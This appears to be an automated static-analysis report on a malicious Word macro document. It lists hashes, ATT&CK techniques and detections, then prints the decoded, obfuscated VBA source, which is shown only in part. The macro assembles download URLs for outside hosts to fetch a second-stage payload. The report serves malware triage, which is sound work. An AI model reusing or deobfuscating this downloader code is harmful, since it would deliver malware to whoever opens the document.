Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbf750c31f5082a3…

MALICIOUS

Office (OLE)

159.5 KB Created: 2017-11-27 14:29:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: d6ecff26f731ef4e69dbb68fdc57279d SHA-1: 43b73062c8a201b9776dc288097648542e330bc0 SHA-256: fbf750c31f5082a3c7905483c702857308b027680ab4efbf8359433638e495c6
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers a Shell() call, indicating execution of arbitrary code. The script attempts to download a payload from a constructed URL, which is a common technique for delivering second-stage malware. The ClamAV detection and heuristic firings strongly suggest malicious intent.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.wang In document text (OLE body)
    • http://wwwqw14z9dLIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 82737 bytes
SHA-256: 9dd415c86c11d50db6332735a7753709b38c871204e6f39f48b479375d0f3960
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "PZuISOiIa"
Function QiiPPcnDM()
ImUDRi = Array(StrReverse(StrReverse("zGIAOfstwA")), StrReverse("mbRzsuiXXP"), StrReverse("HjLfQiJcPT"), StrReverse("VHPEVAhvtN"), StrReverse("uahjtjMJZn"), StrReverse("RYziPTvdjj"), StrReverse("VQicifLMir"), StrReverse("NniKUjwblk"))
QmTrb = Mid("oURVhLfjaptts8wK5xpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnKsw8wbOo", 18, 37)
FiKsmwUHq = Array(StrReverse(StrReverse("uODZcJIVir")), StrReverse("aKtDurWcSR"), StrReverse("fcmvwIBSZX"), StrReverse("wnqPTOjsUz"), StrReverse("jifQBbJvKY"), StrReverse("ISuzTScIbU"), StrReverse("HpvHsmUdkf"), StrReverse("HiISiAwVtW"))
UusBwdaiNEd = Array(StrReverse(StrReverse("SACbBzJlpB")), StrReverse("FDLKrdwEEN"), StrReverse("VziiaiunJi"), StrReverse("UTrzQUODbh"), StrReverse("WaXclJbTSr"), StrReverse("kuWXOSWTAW"), StrReverse("CVcGhmMLtW"), StrReverse("PtcXrvbBwR"))
zMBMZzlQ = Array(StrReverse(StrReverse("AtHoWfNaOh")), StrReverse("bdTBzsEKnu"), StrReverse("wWoqsJDTnP"), StrReverse("wVAjGOpzuc"), StrReverse("QwGCaVTGoQ"), StrReverse("AirdIiFQvM"), StrReverse("cumwjGcjuk"), StrReverse("CFPKdBPlPW"))
WpjzZrtiM = Mid("Wm/uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uwnkvmdpQHolzi6IhKOYE2v9i75GM65hU", 3, 104)
TLXBEpkjsU = Array(StrReverse(StrReverse("CaUSwZwTkw")), StrReverse("wuCEiAzQvz"), StrReverse("zPawbqRzfT"), StrReverse("qUXiUcBKIH"), StrReverse("psbvYVqYsr"), StrReverse("zLGzUmAYqH"), StrReverse("IwnRHiWUkC"), StrReverse("wnHnJEofXG"))
sVGsXBOCOdR = Array(StrReverse(StrReverse("pwiWPTdWbc")), StrReverse("JYDiAVKHTU"), StrReverse("tkLDOuPhzG"), StrReverse("OTBYXfPQiP"), StrReverse("dGIRbiBhKI"), StrReverse("rISvdFkaIV"), StrReverse("EwWUOpXiKU"), StrReverse("FuZDqnbtck"))
XSqAtJ = Array(StrReverse(StrReverse("KXXumpAHvF")), StrReverse("KuqllBPiFW"), StrReverse("ZDaDCzEvtn"), StrReverse("jjPCJAOHSz"), StrReverse("CjnfiMNzJv"), StrReverse("aIWuMGzUsm"), StrReverse("lENHWbfncl"), StrReverse("nHMITpQuYp"))
zYowYjO = Mid("mFAczU3N3XZGm+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'pEw1sofzjAmwz", 14, 157)
lJEHnP = Array(StrReverse(StrReverse("tiWrPGBGvR")), StrReverse("upHNLhjnDl"), StrReverse("GWWqCwiPEq"), StrReverse("drwYbWafEI"), StrReverse("oQjtZQmLrJ"), StrReverse("DnqqdWLfoT"), StrReverse("XmBEnDrilo"), StrReverse("HEjuzpncQm"))
fwABq = Array(StrReverse(StrReverse("mHmzMbMVpC")), StrReverse("DuOfMzWfJC"), StrReverse("haVYISvOaX"), StrReverse("qCvCAdSQvv"), StrReverse("PJzZistjvV"), StrReverse("TkkWIMmNot"), StrReverse("fzuSMAzMfi"), StrReverse("fFkOnXcvqQ"))
RjAaIhHATzq = Array(StrReverse(StrReverse("kRXMbnIOCa")), StrReverse("BZcXAljImq"), StrReverse("raAwjkicIC"), StrReverse("fEjzGpYdiQ"), StrReverse("sTAHwMwvGO"), StrReverse("kFWfZJQYdq"), StrReverse("JfGzuwqfQK"), StrReverse("MFZWzYZsAX"))
LaFNnZb = Mid("nfTlZ9LvhJN7File(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpIn2Fcc3A8cfQpXQRwEnuiL3H", 13, 132)
nziIw = Array(StrReverse(StrReverse("ZPSEEGSZuo")), StrReverse("rFbBPROfMh"), StrReverse("tjANqNzWik"), StrReverse("jqXYTPfqNG"), StrReverse("hZSrrZdiwV"), StrReverse("JwiIWtOFNq"), StrReverse("GwqJEAiDiz"), StrReverse("mYSGATNJWQ"))
wAPIwOIbK = Array(StrReverse(StrReverse("oiWtSZhDXw")), StrReverse("YzAsGMNBNB"), StrReverse("VQivBifAiB"), StrReverse("jXYFBaJMhU"), StrReverse("PnHTlMFhPk"), StrReverse("KYfwCXEbsn"), StrReverse("uhVWNAbuqf"), StrReverse("DBTsmhJKJo"))
jBdQEXP = Array(StrReverse(StrReverse("bjVHFpptzA")), StrReverse("mvIwvCoIzj"), StrReverse("DQtmTUUzvT"), StrReverse("ufbBFakFda"), StrReverse("nXRisqlGJZ"), StrReverse("uKftJLmiok"), StrReverse("UpwjGHTGsV"), StrReverse("SjfXsjwOtd"))
wEj
... (truncated)